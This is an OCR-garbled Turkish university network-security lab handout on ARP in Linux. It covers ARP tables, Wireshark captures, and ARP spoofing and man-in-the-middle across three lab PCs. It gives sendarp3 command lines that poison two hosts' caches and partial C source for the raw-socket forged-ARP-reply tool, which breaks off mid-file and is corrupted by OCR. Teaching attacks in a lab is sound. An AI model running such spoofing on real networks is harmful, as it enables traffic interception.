BLGM 455 Bilgisayar Sistemleri ve Ag Giivenligi Lab 2 Linux’ta ARP

Alexander Chefranov tarafindan 24 Nisan 2019’da hazirlandi.
Tansel Sarthan tarafindan 27 Ekim 2019 tarihinde diizenlendi.

Samet Reyhanli tarafindan 28 Ekim 2019’da Tiirkgeye cevrildi.

Asagida verilen ekran gorintilerine ve aciklamalara gore, grup basina iki bilgisayarda, adim 1’den
10’a kadar bir seri deney gerceklestireceksiniz. Deneylerinizin ekran gérintileri asagida belirtilen
metnin [Buraya Yerlestirin ...] kismina yerlestirilecektir.

Deney 8 ve 9’da, ARP istegi ve ARP yaniti icin Ethernet ve ARP ¢ercgevelerini doldurun.

Raporlama igin Ek 1'de verilen kapak sayfasini kullanin ve belirlenen tarihte Labin koordinator
asistanina rapor ve CD’nizi teslim edin.

Adim 1'den 10’a kadar olan deneyler asagida belirtilmistir:
Bolim 0. Fedora'da KSnapshot ile ekran goriintiisi alma

KSnapshot, KDE masalsti ortami icin bir ekran goriintlsi programidir. Deney adimlarinizin ekran
gorlntlsliini  almak i¢in "Alt" digmesini basili tutun, ardindan F2 diigmesine basin. Tus
kombinasyonu asagidaki sekilde gosterildigi gibi bir komut istemi getirecektir.

Enter the command you want to execute:

5-, ksnapshot|

& cancel Jok

KSnapshot'l baslatmak igin, ilgili kutuya “ksnapshot” yazin ve ardindan “OK” digmesine tiklayin.
Programin kullanici arayiziinde, agilir listeden yakalama modunu (tam ekran veya imle¢ altinda
pencere) secin ve “Take a New Snapshot” diigmesini tiklayin. Alinan ekran goérintisi, “Save As...”
digmesi tiklanarak belirli bir konuma kaydedilebilir.



1. Linux'ta bir makinenin araylzlerinin MAC adreslerini goriintiileme:
Ifconfig
linuxlab@localhost:~/CMPE455
File Edit Tabs Help
[linuxlab@localhost ~]$ 1fconfig
lo: flag$=73¢UP,LODPBACK,RUNNING> mtu 65536
lnet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid Ox1O<host>
loop txqueuelen 0 (Local Loopback)
RX packets 10 bytes 940 (940.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10 bytes 940 (940.0 B) _ e
TX errors 0 dropped O overruns © carrier 0 collisions O

p17pl: flags=4163<UP, BROADCAST,RUNNING, MULTICAST> mtu 1500

inet 192.168.181.125 netmask 255.255.255.0 broadcast 192.168.181.255
inet6 feB0::21f:doff:fel0:e376 prefixlen 64 scopeid 0x20<link=>

ether 00:1f:d0:10:e3:76 txqueuelen 1000 (Ethernet)

RX packets 314 bytes 51349 (50.1 KiB)

RX errors 0 dropped 11 overruns O frame 0O

TX packets 315 bytes 25671 (25.0 KiB)

TX errors 0 dropped O overruns @ carrier 0@ collisions O

[linuxlab@localhost ~]$ arp

Address HwWwtype Hwaddress Flags Mask
192.168.181.1 ether 00:12:d9:7e:a9:43 ©
[linuxlab@localhost ~]$ cd CMPE455

[linuxlab@localhost CMPE45S]$ sudo ./sendarpl

[Buraya “ifconfig” igin bir ekran gériintiisii ekleyin.]
Soru: iki bilgisayarin IPv4 ve MAC adresleri nedir?

2. ARP tablosunu Linux'ta goriintileme:
arp
linuxlab@localhost:~
File Edit Tabs Help

[Buraya ARP tablosu igin bir ekran gériintiisii ekleyin]

Soru: Burada kag tane host var?

3. Hedef ana bilgisayara ping paketleri gdnderme:
ping destination_IP_address
ARP table on the source machine after ping.



linuxlab@localhost:~

File Edit Tabs Help

[Buraya Ping igin bir ekran gériintiisii ekleyin]
iki bilgisayari pingleyin, ARP tablosunu tekrar kontrol edin
[Ping sonrasi ARP tablosu igin bir ekran gériintiisii ekleyin]

Traceroute
linuxlab@localhost:~/CMPE455

File Edit Tabs Help

bash: tracert: command not found

[linuxlab@localhost CMPE4S5]$ traceroute www.google.com

traceroute to www.google.com (216.58.208.36), 30 hops max, 60 byte packets

192.168.181.1 (192.168.181.1) 0.356 ms 0.694 ms 0.831 ms

172.16.2.25 (172.16.2.25) 0.277 ms 0.286 ms 0.265 ms

193.140.41.10 (193.140.41.10) 0.136 ms 0.141 ms 0.116 ms

193.140.41.14 (193.140.41.14) 0.640 ms 0.467 ms 0.559 ms

2 A

305-vie-col-2---98-lefkosa-t3-1.statik.turktelekom.com.tr (212.156.140.208)

.708 ms 49.213 ms 48.699 ms

win-b4-link.telia.net (213.248.89.21) 84.553 ms 84.739 ms 84.475 ms

win-bb3-link.telia.net (62.115.120.108) 68.975 ms 69.092 ms 69.038 ms

win-bb2-link.telia.net (62.115.136.124) 84.338 ms 84.405 ms 84.179 ms

prag-b3-link.telia.net (62.115.137.41) 76.289 ms 75.756 ms 76.113 ms

11 72.14.218.112 (72.14.218.112) 70.317 ms google-1c-314670-prag-b3.c.telia.ne

t (62.115.61.18) 81.638 ms 72.14.218.112 (72.14.218.112) 70.293 ms

12 108.170.245.35 (108.170.245.35) 68.757 ms 69.003 ms 77.252 ms

13 209.85.247.190 (209.85.247.190) 75.936 ms 172.253.51.206 (172.253.51.206)

72.068 ms 209.85.247.190 (209.85.247.190) 76.240 ms

14 108.170.251.129 (108.170.251.129) 60.254 ms 209.85.143.205 (209.85.143.205)
63.507 ms 63.317 ms

15 209.85.241.231 (209.85.241.231) 67.343 ms 216.239.48.234 (216.239.48.234)

71.675 ms 108.170.229.168 (108.170.229.168) 79.228 ms

16 209.85.252.28 (209.85.252.28) 65.159 ms 72.14.239.166 (72.14.239.166) 86.8

49 ms 209.85.241.70 (209.85.241.70) 65.286 ms

17 108.170.252.1 (108.170.252.1) 62.501 ms fralSsl2-in-f4.1el100.net (216.58.20

8.36) 64.029 ms 108.170.252.1 (108.170.252.1) 61.415 ms

[linuxlab@localhost cMPE4SS]sS i

[Buraya www.google.com’a yapilan Traceroute igin bir ekran gériintiisii ekleyin]

—
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5.

Wireshark
Launch: sudo wireshark

A The Wireshark Network Analyzer [Wireshark 1.10.14 (Git Rev Unknown from unknown)] - &8 x
Ele Edit wview Go Capture Analyze Statistics Telephony Iools Internals Help linuxlab@localhost:~/CMPE455

@ @ ‘ E Edit Tabs e\p

Filter:

T
WIRESHARK

Interface List =) Open

© Lueistof the capture interfaces Open a previously ca
(counts incoming packets)

QOpen Recent:
A Start
Choose one or more interfaces to capture from. then Start Sample Ca
2] rflog Arich assortment of

£ nfqueue

f usbmon1

usbmon2
usbmon2

usbmon4

-

usbmons
glp17p1
f#lany

Ll nanhack: n

(3] ————— [

Capture Options

Start a capture with detailed options

Capture Help L
v

Ready to load or capture Mo Packets : profile: Default
Gem[ = M {inLxiab ... | M linwdab. .. | CMPE4SS | myping... | @ How to ... | Jl linux Punetinet | fginclude | [Figalcula...| Bainternet || gThe wir.. [ & 1536 L]

[Buraya Wireshark launch igin bir ekran gériintiisii ekleyin]

Arp Filtreleme

Filtre alanina: arp
Sample Ethernet frame with ARP request:

[Wireshark 1.10.14 (Git Rev Unknown from unknown)

Flle Edit VMiew Go Capture Analyze Statistics Telepheny Tools Internals Help

(=) m 2 Q s 2 2 IBE @ g @

M m

Filter: arp wv Expression.. Clear Apply Save
[No.  :Time Source Destination Protoci Lengt  Info |
| 57 38.86334400(Giga-Byt_10:e3:76 Giga-Byt_of:98:77 ARP 42 192.168.181.135 is at 00:1f:d0:10:e3:76 |

> Frame 56: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0
v Ethernet II, Src: Giga-Byt_of:08:77 (00:1f:d0:0f:98:77), Dst: Giga-Byt_10:e3:76 (00:1f:d0:10:e3:76)
v Destination: Giga-Byt_lB8:e3:76 (00:1f:d0:10:e3:78)
Address: Giga-Byt_10:e3:76 (00:1f:d0:10:e3:76)
e A LG bit: Glebally unique address (factory default)
5500 000@ 5000 o 50 oo IG bit: Individual address (unicast)
v Source: Giga-Byt_Of:98:77 (00:1f:d0:0f:98:77)
Address: 8:77 (00:1f:do:ef:98:77)
= LG bit: Globally unique address (factory default)
= IG bit: Individual address (unicast)

Type: ARP (0x0806)

Padding:
v Address Resolution Protocol (request)

Hardware type: Ethernet (1)

Protocol type: IP (0x0800)

Hardware size: 6

Protocol size: 4

Opcode: request (1)

Sender MAC address: Giga-Byt_of:98:77 (00:1f:do:0f:98:77)

Sender IP address: 192.168.181.132 (192.168.181.132)

Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)

Target IP address: 192.168.181.125 (192.168.181.125)

0000 00 1f do 10 e3 76 00 1f do of 98 77 [EMEE 00 O1
0010 08 00 05 04 00 01 00 1f do of 98 77 cO a8 bS 84
0020 00 B0 00 00 00 00 cO a8 b5 7d 00 00 ©O 00 0O GO
0030 00 00 00 OO GO 00 OO 0O 00 00 00 0O

O* Type (ethtype), 2 bytes Packets: 106 - Displayed: 2 (1.9%) - Profile: Default
Bﬁ' H T W inuxiab.. | @ linuxiab., |[#Capturin.. |fg cMpEass rawudp3.... || udphdrs... || flllinux T netinet Bl include [Froalculat... | B & 14:57 @ﬂ

[Buraya ARP istedi(request) igin bir ekran gériintiisii ekleyin]
[Buraya ARP Yaniti(Reply) icin bir ekran gériintiisii ekleyin]

ARP yaniti iceren 6rnek Ethernet cergevesi:



£ *eml [Wireshark 1.10.3 (SVN Rev Unknown from unknown)] -0 x
Ble Edit Wiew Go Capture Analyze Statistics Telephony Tools Internals Help

©© 4 B0 X g Q< b 2 BEE v ool 08 %
Filter: arp ~ | Expression.. Clear Save

Mo. Time Source Destination Protoc: Lengt  Info

<30

> Frame 108: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface O
~ Ethernet II, Src: HonMaiPr_21:d1:19 (d0:27:88:21:d1:19), Dst: HonHaiPr_21:c9:ae (d0:27:88:21:c9:ae)
v Destination: HonHaiPr_21:cS:ae (d0:2
Address: HonHalPr_21:c9:ae (d0:27:B8:21:c9:ae)
.. = LG bit: Globally unique address (factory default)
IG bit: Individual address (unicast)
~ Source: HonHaiPr_21:d 88:21:d1:19)
Address: HonHalPr_21:d1:1 :27:88:21:d1:19)
el tevs wavs wwes awe. = LG bit: Globally wnique address (factory default)
....... © .ici vive ween we.. = IG bit: Individual address (unicast)
Type: ARP (Ox0805)
Padding: 00000000C000000000000000000000000000
~ Address Resolution Protocol (reply)
Hardware type: Ethernet (1)
Protocol type: IP (0x0800)
Hardware size:
Protocol size: 4
Opcode: reply (2)
Sender MAC address: HonHaiPr_21:d1:19 (d0:27:88:21:d1:19)
Sender IP address: 192.168.181.158 (192.168,181.158)
Target MAC address: HonHaiPr_21 rae (d0:27:88:21:cB:iae)
Target IP address: 192.168.181.150 (192.168.181.159)

0000 d0 27 88 21 c9 ae d0 27 88 21 d1 19 5 00 01
0010 O8 DO O6 O4 00 02 do 27 88 21 dl 19 cD a8 bS 9e
0020 dO 27 88 21 ¢ ae c0 a8 b5 9f 0D 0O 00 0D 0O OO
0030 00 00 00 00 00 00 00 00 00 00 00 00

@ *7 Fle: ‘partmpwireshark_pcapng_e... Packets; 149 . Displayed: 22 (14.8%) - Dropped: 0 (0.0%) Profile: Default

[ARP Yaniti ile Ethernet ¢ergevesinin ekran gériintiisiinii buraya ekleyin]
Soru: Ethernet ¢ercevesindeki kaynak ve hedef MAC adresleri nelerdir?

ARP yanit programi: sendarp3.c (bkz.Ek 2)

ARP sahtekarligini gerceklestirmek icin Ek 2'de verilen C kodunu bir ara¢ olarak kullanacagiz.
Sendarp3 programi saldirgandan kurbana ARP yaniti gonderir. Kullanulan paremetreler:
interface bilgisayarin adi, target IP address MAC’l sahtelenen IP, spoof MAC address
(saldirgan MAC adresi veya sahte MAC adresi), IP address of the victim, kurbanin MAC
adresi, and the number of ARP replies (ARP yanit sayisi). Programin kullanimi asagidaki
sekilden gorilebilir.

Kullanim: ./sendarp3 <interface> < target_IP_address> < spoof _mac> <victim_ip>
<victim_mac> <num_of_reply>

Girilen IP ve MAC adreslerinin ARP yanit alanlarinda kullanildigini hatirlayalim.

[tsarihan@asus ~]$ ./sendarp3
Usage of the program:

./sendarp3 <interface> <target_IP_address> <spoof_mac> <victim_ip> <victim_mac> <num_of_reply>
[tsarihan@asus ~]$ I

Sendarp3 programini kullanmak igin yukarida belirtilen parametreleri bilmemiz gerekir.
Arayiz adini, MAC adresini ve IP adresini gormek icin ifconfig komutu kullanilabilir. (Asagidaki
sekle bakin)



Q tsarihan@asus:~

[tsari @ 18§ ifconfig
f UP ,BROADCAST ,MULTICAST> mtu 1500
D txqueuelen 1000 (Ethernet)
B)
rruns @ frame 0
B)
rruns © carrier ® collisions 0

flags OPBACK,RUNNING> mtu
inet
inet6
loop txqueuelen
RX
dropped © overruns © frame 0
bytes 2176 2.1 KiB)
overruns @ carrier @ collisions ©

virbro: ° <UP ,BROADCAST ,MULTICAST:
1 netmask 25
txqueuelen 100€
B)
erruns @ frame 0
B)
verruns @ carrier @ collisions 0

wlp3s0:! flag AST> mtu 1500
inet 2.168.7.102 etmas . 5 5.0 broadcast 192.168.
inet eB80::c e 64 scopeid f
ether 6 :d9:67:c0: txqueuelen 1€ (Ethernet)
RX pz 8 ytes (10. )
RX errors @ dropped @ overruns @ fr
TX pack 2486 by 5372 (1.6 M

TX errors @ dropped © overruns @ carrier @ collisions ©

[tsarihan

ifconfig komutunun bir 6rnek c¢iktisi yukaridaki sekilden gorilebilir. Sekil, arayliz adlarini
(enp4s0f2 - kablolu, wlp3s0 - kablosuz), IP adreslerini (inet: 192.168.7.102) ve MAC adresini
(eter: 6¢c: 71: d9: 67: cO: af) goésterir. Ornek kablosuz arayiiz kullanilarak hazirlandigi icin
arayliz adi olarak “wlp3s0” kullanilmistir ancak laboratuvarda “e” ile baslayan kablolu arayiiz
adini kullanacagz.

Baslangicta sendarp3.c programi asagida verilen komut satiri kullanilarak ydritilebilir bir
dosya olusturmak icin derlenmeli ve baglanmalidir.

gcec —o sendarp3 sendarp3.c

ARP sahtekarligi

Simdi Adim 7'de verilen komut satirini kullanarak saldirgandan kurbana on ARP yaniti
olusturun. Ogle yemegi Wireshark ve fotograf cekmeye baslayin.

Asagida, 192.168.181.159’den 192.168.181.158’e 192.168.181.159’nin MAC adresini
00:11:22:33:44:01 sahte MAC olarak zehirlemek igin on ARP yaniti olusturan 6rnek bir 6rnek
verilmistir (program baslatma ve Wireshark ciktisi):



[ARP Reply programi ¢alisinca olusan ekran gériintiisiinii ve génderen ana bilgisayardaki
Wireshark giktisini buraya ekleyin]

192.168.181.158'de alinan ARP yanitlari (ARP tablosu, ARP yanitlarinin alinmasindan énce ve
sonrasini gosterin (ARP sahtekarligi 6ncesinde ve sonrasinda):

[Alici ana bilgisayarda ARP sahtekarligi 6ncesinde ve sonrasinda Wireshark ¢iktisinin ve
ARP tablosunun ekran gériintiisiinii buraya ekleyin]

Soru: ARP sahtekarligi nasil yapilir?

Wireshark'ta, ARP istek ve yanit paketlerinin ekran gortntilerini alin (ARP istegi ve yanit
mesajlari icin Wireshark tarafindan gosterilen verilerden).

[[ARP istegi olan Ethernet ¢ergevesinin ekran gériintiisiinii buraya ekleyin]

Asagida verilen Ethernet ¢ercevesi ve ARP mesaj yapilarini kullanarak Ethernet gergevesinin
MAC destination, MAC source ve Ethertype alanlarini ve ARP paketinin tim alanlarini
doldurmak igin bir tablo olusturun.

[ARP Yaniti ile Ethernet ¢ercevesinin ekran gériintiisiinii buraya ekleyin]

Asagida verilen Ethernet ¢ercevesi ve ARP mesaj yapilarini kullanarak, Ethernet gergevesinin
MAC destination, MAC source ve Ethertype alanlarini ve ARP paketinin tim alanlarini
doldurmak igin bir tablo olusturun.

[ARP Adres Sahteciligi Yaniti iceren Ethernet ¢ercevesinin ekran gériintiisiinii buraya
ekleyin]

Asagida verilen Ethernet cercevesi ve ARP mesaj yapilarini kullanarak, Ethernet cercevesinin
MAC destination, MAC source ve Ethertype alanlarini ve ARP paketinin tim alanlarini
doldurmak igin bir tablo olusturun.



Ethernet Cerceve yapisi https://en.wikipedia.org/wiki/Ethernet frame den alinmistir.

802.3 ARP istegi iceren Ethernet cerceve yapisi

Frame
Pream Start of MA(.: MAC | 802.1Qtag Ethertype(Ether check Interpack
Layer ble frame destin centes | (erpfenel) net ll) or length | Payload | sequence ot aa
delimiter  ation P (IEEE 802.3) (32-bitcR =92
(%))
7 octet 1 octet 6 6 octets | (4 octets) 2 octets 46-1500 4 octets 12 octets
S octets octets
ARP mesaj yapisi https://en.wikipedia.org/wiki/Address Resolution Protocol)’den alinmistir.
ARP structure
Octet offset 0 1
0 Hardware type (HTYPE)
2 Protocol type (PTYPE)
4 Hardware address length (HLEN) Protocol address length (PLEN)
6 Operation (OPER)
8 Sender hardware address (SHA) (first 2 bytes)
10 (next 2 bytes)



12

14

16

18

20

22

24

26

Bolim 1. 3 PCile olan deneyler

(last 2 bytes)

Sender protocol address (SPA) (first 2 bytes)

(last 2 bytes)

Target hardware address (THA) (first 2 bytes)

(next 2 bytes)

(last 2 bytes)

Target protocol address (TPA) (first 2 bytes)

(last 2 bytes)

10. ARP sahtekarligi (ortadaki adam saldirisi)
Simdi 7. adimda verilen komut satirini kullanarak ortadaki adam saldirisini deneyin. Ug PC
MAC ve IP adresiyle iki yapi (sahtekarliktan 6nce ve sonra) olusturun (6rnek bir yapi asagida

verilmistir).

Ping kullanarak kaynaktan hedefe paket gonderin.



ARP Sahteciliginden Once

192.168.181.158 DO0:27:88:21:D1:19

192.168.181.159 DO0:27:88:21:C9:AE

Attacker | b, 197 168.181.154
PC MAC: DO0:27:88:2F:ED:15
ARP cache
Source P: 192.168.181.159 Target IP: 192.168.181.158
PC MAC: D0:27:88:21:C9:AE PC MAC: D0:27:88:21:D1:19
ARP cache ARP cache

[Kaynak bilgisayarda ARP sahtekarligi yapmadan énce ARP tablosunun ekran gériintiisiinii

buraya ekleyin]

[Hedef bilgisayarda ARP sahtekarligi yapmadan énce ARP tablosunun ekran gériintiisiinii

buraya ekleyin]

[Saldirganin PC'sinde ARP sahtekarhgi yapmadan énce ARP tablosunun ekran gériintiisiinii

buraya ekleyin]

Adres sahteciliginden sonra

Attacker
PC

IP: 192.168.181.154
MAC: DO0:27:88:2F:ED:15

192.168.181.158 DO0:27:88:21:D1:19
192.168.181.159 DO0:27:88:21:C9:AE

192.168.181.158 D0:27:88:2F:ED:15

Target IP: 192.168.181.158
PC MAC: D0:27:88:21:D1:19

ARP cache
Source IP: 192.168.181.159
PC MAC: DO0:27:88:21:C9:AE
ARP cache

ARP cache
192.168.181.159 D0:27:88:2F:ED:15

Bu ornekte saldirgan, asagidaki komut satirlarini kullanarak biri kaynaga ve digeri hedef

bilgisayara olmak Uzere iki yanit gonderir.

Kullanim: ./sendarp3 <interface> <target_IP_address> < spoof_mac> <victim_ip>

<victim_mac> <num_of_reply>

10



Saldirgandan kaynaga ARP yaniti:
./sendarp3 em1 192.168.181.158 D0:27:88:2F:ED:15 192.168.181.159 D0:27:88:21:C9:AE 10

*eml [Wireshark 1.10.14 (Git Rev Unknown from unknown)]

Fle Edit View Go Capture Analyze Statistics Telephory Tools Internals Help

© © 4 280 x ¢ Q< a3 2 BB s g P 0B % R

Filter: arp ~ Expression.. Clear Apr Save
No. Time Source Destination Protoc: Lengt Info 6
D5 LJw £33 LLLAA RIINELIT _£1 2 ¥U . L3 ML _ 25 L. g e e LML AUD. 101,100 A3 SL UD.L7 .00, £1 . E. LD -

| 38 1° 135000 HonHa1 Pr_2f red: 15 onHa1Pr_21:c9:: AR 2. . -15871s at d0:27:es:2fred:

> Frame 38: 42 bytes on wire (336 bits), 42 bytes captured (335 bits) on interface 0
~ Ethernet II, Src: HonHaiPr_2f:ed:15 (d0:27:88:2f:ed:15), Dst: HonHaiPr_21:c9:ae (d0:27:88:21:c5:ae)
» Destination: HonHalPr_21:c9:ae (d0:27:88:21:c9:ae)
» Source: HonHaiPr_2f:ed:15 (d0:27:88:2f:ed:15)
Type: ARP (Ox0S05)
~ Address Resolution Protocol (reply)
Hardware type: Ethernet (1)
Protocol type: IP (OxGB00)
Hardware size: &
Protocol size: 4
Opcode: reply (2)
Sender MAC address: HonHaiPr_2f:ed:15 (d0:27:88:2f:ed:15)
Sender 1P address: 192.168.181.158 (152.168,181.158)
Target MAC address: HonHaiPr_21l:c%:ae [d0:27:88:21:c9:ias)
Target IP address: 192.168.181.159 (192.168.181.159)

|ooo0 do 27 B8 21 9 ae dO 27 88 27 ed 15 08 06 00 O1

0010 08 00 O6 04 00 02 do 27 88 2f ed 15 cO a8 b5 Se oS
|0020 do 27 B8 21 c9 ae cO a8 bS5 of &
O Fle: "vartmppwireshark_pcapng_e... Packets: 44 - Displayed: 12 (27.3%) - Dropped: 0 (0.0%) Profile: Default

[ARP Reply programi baslatmanizin ekran gériintiisiinii ve génderen ana bilgisayardaki
Wireshark ¢iktisini buraya ekleyin]

Adim 9'da verilen Ethernet gergevesi ve ARP mesaj yapilarini kullanarak Ethernet gergevesinin

MAC destination, MAC source ve Ethertype alanlarini ve ARP paketinin tim alanlarini
doldurmak icin bir tablo olusturun.

11



Saldirgandan hedefe ARP yaniti:
./sendarp3 em1 192.168.181.159 D0:27:88:2F:ED:15 192.168.181.158 D0:27:88:21:D1:19 10

&~ Capturing from em1 [Wireshark 1.10.14 (Git Rev Unknown from unknown}] e x

Ele Edit wiew Go Capture Analyze Statistics Telephony Tools Internals Help
(=] [ el Q & > 8 @G el (= @) amﬁa‘
Filter: arp | Expression.. Clear Save

Mo, Time Source - Destination Protoc: Lengt Info

<313

» Frame 31: 42 bytes on wire (335 bits), 42 bytes captured (335 bits) on interface O
~ Ethernet II, Src: HonHaiPr_2f:ed:15 (d0:27:88:2f:ed:15), Dst: HonHaiPr_21:d1:19 (d0:27:88:21:d1:19)
» Destination: HonHaiPr_21:d1:19 (d0:27 21:d1:19)
> Source: HonHaiPr_2f:ed:15 (d0:27:88:2f ed:
Type: ARP (Ox0B806)
~ Address Resolution Protocol (reply)
Hardware type: Ethernet (1)
Protocol type: IP (OxCE00)
Hardware size: 6
Protocol s

Sender MAC address: : 27:88:2f :ed:15)
Sender IP add 8. 181.1

Target MAC address: - 144 9 (do:27:88:21:d1:19)
Target IP address: 192.168.181.158 (192.168.181.158)

0000 do 27 B8 21 dl 19 d0 27 83 21 ed 15 0B 06 00 O
0010 08 00 06 04 00 02 d0 27 68 2f ed 15 c0 a8 bS of
0020 do 27 88 21 dl 19 cO aB b5 Se

) *7 em1: <live capture in progress> File... Packets: 72 - Displayed: 14 (19.4%) Profile: Default

[ARP Yamit Gonder programi bagslatmanizin ekran goriintiisiinii ve génderen ana
bilgisayardaki Wireshark ¢iktisini buraya ekleyin]

Adim 10'da verilen Ethernet cercevesi ve ARP mesaj yapilarini kullanarak Ethernet
cercevesinin MAC destination, MAC source ve Ethertype alanlarini ve ARP paketinin tim
alanlarini doldurmak icin bir tablo olusturun.

[Kaynak bilgisayardaki ARP sahtekarligindan sonra ARP tablosunun ekran gériintiisiinii

buraya ekleyin]
[Hedef bilgisayardaki ARP sahtekarligindan sonra ARP tablosunun ekran goriintiisiinii

buraya ekleyin]
[Saldirganin bilgisayarinda ARP sahtekarlidgi yaptiktan sonra ARP tablosunun ekran
goriintiisiinii buraya ekleyin]
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Saldirgan PC'de ARP tablosu
linuxlab@localhost:~

File Edit Tabs Help

Addroc

Kaynak Bilgisayardaki ARP tablosu
linuxlab@localhost:~

File Edit Tabs Help
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Hedef bilgisayardaki ARP tablosu
linuxlab@localhost:~

File Edit Tabs Help
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Appendix 2. Sendarp3.c

//Adapted by Alexander G. Chefranov 24.04.2019
//Modified by Tansel Sarihan 25.10.2019
/* Copyright (C) 2011-2015 P.D. Buchan (pdbuchan@yahoo.com)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

// Send an IPv4 ARP packet via raw socket at the link layer (ethernet frame).

// Values set for ARP request.

#include<stdio.h>

#include<stdlib.h>

#tinclude<unistd.h> // close()

#include<string.h> // strcpy, memset(), and memcpy()
#include<netdb.h> // struct addrinfo
#include<sys/types.h> // needed for socket(), uint8_ t, uintl6_t
#include<sys/socket.h> // needed for socket()
#include<netinet/in.h> // IPPROTO_RAW, INET_ADDRSTRLEN
#tinclude<netinet/ip.h> // IP_MAXPACKET (which is 65535)
#include<arpa/inet.h> // inet_pton() and inet_ntop()
#include<sys/ioctl.h> // macro ioctl is defined

#include<bits/ioctls.h> // defines values for argument "request" of ioctl.

#include<net/if.h> // struct ifreq

#include<linux/if_ether.h> // ETH_P_ARP = 0x0806
#tinclude<linux/if_packet.h> // struct sockaddr_l1 (see man 7 packet)
#include<net/ethernet.h>

#tinclude<errno.h> // errno, perror()

// Define a struct for ARP header
typedef struct _arp_hdr arp_hdr;
struct _arp_hdr{
uintl6_t htype;
uintle_t ptype;
uint8_t hlen;
uint8_t plen;
uintl6_t opcode;
uint8_t sender_mac[6];
uint8_t sender_ip[4];
uint8_t target_mac[6];
uint8_t target_ip[4];
}s

// Define some constants.

#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length

#tdefine ARP_HDRLEN 28 // ARP header length

#define ARPOP_REQUEST 1 // Taken from <linux/if_arp.h>
#define ARPOP_REPLY 2 // Taken from <linux/if_arp.h>

int main(int argc,char **argv){
if(argc!=7){
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printf("Usage of the program:\n%s <interface> <target_IP_address> <spoof_mac>
<victim_ip> <victim_mac> <num_of_reply>\n",argv[0]);
exit(1);
}
else{
int i,status,frame_length,sd,bytes;
//char *interface, *target, *src_ip;
arp_hdr arphdr;
//uint8_t *src_mac, *dst_mac, *ether_frame;
struct addrinfo hints, *res;
struct sockaddr_in *ipv4;
struct sockaddr_11 device;
struct ifreq ifr;
unsigned char interface[40],target[INET_ADDRSTRLEN],src_ip[INET_ADDRSTRLEN];
uint8_t src_mac[6],src_macl[6],dst_mac[6],ether_frame[ IP_MAXPACKET];
int values[6];
//int i;

if(6==sscanf(argv[3], "%x:%x:%x:%x:%x:%x%*c" ,&values[0],&values[1],&values[2],&values[3
]1,&values[4],&values[5])){
for(i=0;i<6;i++){
src_macl[i]=(uint8_t)values[i];
}
}

//uint8_t src_macl[6]={0x00,0x11,0x22,0%x33,0x44,0x55};//changed
//int 1i;
printf("we start\n");
// Interface to send packet through.
//strcpy (interface, "etho");
strcpy(interface,argv[l]);
printf("interface==%s\n", interface);
//Submit request for a socket descriptor to look up interface.
if((sd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
perror ("socket() failed to get socket descriptor for using ioctl() ");
exit(EXIT_FAILURE);
}
// Use ioctl() to look up interface name and get its MAC address.
memset (&ifr,0,sizeof(ifr));
snprintf(ifr.ifr_name,sizeof(ifr.ifr_name),"%s",interface);
if(ioctl(sd,SIOCGIFHWADDR,&ifr)<e){
perror("ioctl() failed to get source MAC address ");
return (EXIT_FAILURE);

close(sd);

// Copy source MAC address.

memcpy(src_mac,ifr.ifr_hwaddr.sa_data,6 * sizeof(uint8_t));

// Report source MAC address to stdout.

printf("MAC address for interface %s is ",interface);

for(i=0;i<5;i++){
printf("%02x:",src_mac[i]);

}

printf("%02x\n",src_mac[5]);

// Find interface index from interface name and store index in

// struct sockaddr_11 device, which will be used as an argument of sendto().

memset (&device,0,sizeof(device));

if((device.sll ifindex=if nametoindex(interface))==0){
perror("if_nametoindex() failed to obtain interface index ");
exit(EXIT_FAILURE);

}

printf("Index for interface %s is %i\n",interface,device.sll_ifindex);

// Set destination MAC address: broadcast address
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// memset (dst_mac, Oxff, 6 * sizeof (uint8_ t)); ©0:1f:d0:0f:98:77 MAC of
192.168.181.132

/************************/

//int values[6],1i;

if(6==sscanf(argv[5], "%x:%x:%x:%x:%x:%x%*c" ,&values[0],&values[1],&values[2],&values[3
],&values[4],&values[5])){
for(i=0;i<6;i++){
dst_mac[i]=(uint8_t) values[i];

}

}

else{
perror("Invalid MAC address\n");
exit(-1);

}

//./sendarp <iface_name> <attacker_ip> <attacker_mac> <victim_ip>
<mac_to_be_spoofed>

[ Rk ks ok sk ok sk ok sk sk ok sk ook ook ok

//dst_mac[0]=0x00;

//dst_mac[1]=0x1f;

//dst_mac[2]=0xd0;

//dst_mac[3]=0x0f;

//dst_mac[4]=0x98;

//dst_mac[5]=0x77; //changed

// Source IPv4 address: you need to fill this out

//strcpy (src_ip, "192.168.1.116");

// strcpy (src_ip, "192.168.181.125");

strcpy(src_ip, argv[2]);

// Destination URL or IPv4 address (must be a link-local node): you need to
fill this out

//strcpy (target, "192.168.1.1");

strcpy(target, argv[4]);

// Fill out hints for getaddrinfo().

memset(&hints, @, sizeof (struct addrinfo));

hints.ai_family = AF_INET;

hints.ai_socktype = SOCK_STREAM;

hints.ai_flags = hints.ai_flags | AI_CANONNAME;

// Source IP address

if((status = inet_pton (AF_INET, src_ip, &arphdr.sender_ip)) != 1){

fprintf (stderr, "inet_pton() failed for source IP address.\nError
message: %s", strerror (status));
exit (EXIT_FAILURE);
}

// Resolve target using getaddrinfo().

if((status = getaddrinfo (target, NULL, &hints, &res)) != 0){
fprintf(stderr, "getaddrinfo() failed: %s\n", gai_strerror (status));
exit (EXIT_FAILURE);

}

ipv4 = (struct sockaddr_in *) res->ai_addr;

memcpy (&arphdr.target_ip, &ipv4->sin_addr, 4 * sizeof (uint8_t));

freeaddrinfo (res);

// Fill out sockaddr_11.

device.sll family = AF_PACKET;

memcpy (device.sll _addr, src_mac, 6 * sizeof (uint8_t));

device.sll halen = 6;

printf("device prepared\n");

// ARP header

// Hardware type (16 bits): 1 for ethernet

arphdr.htype = htons (1);

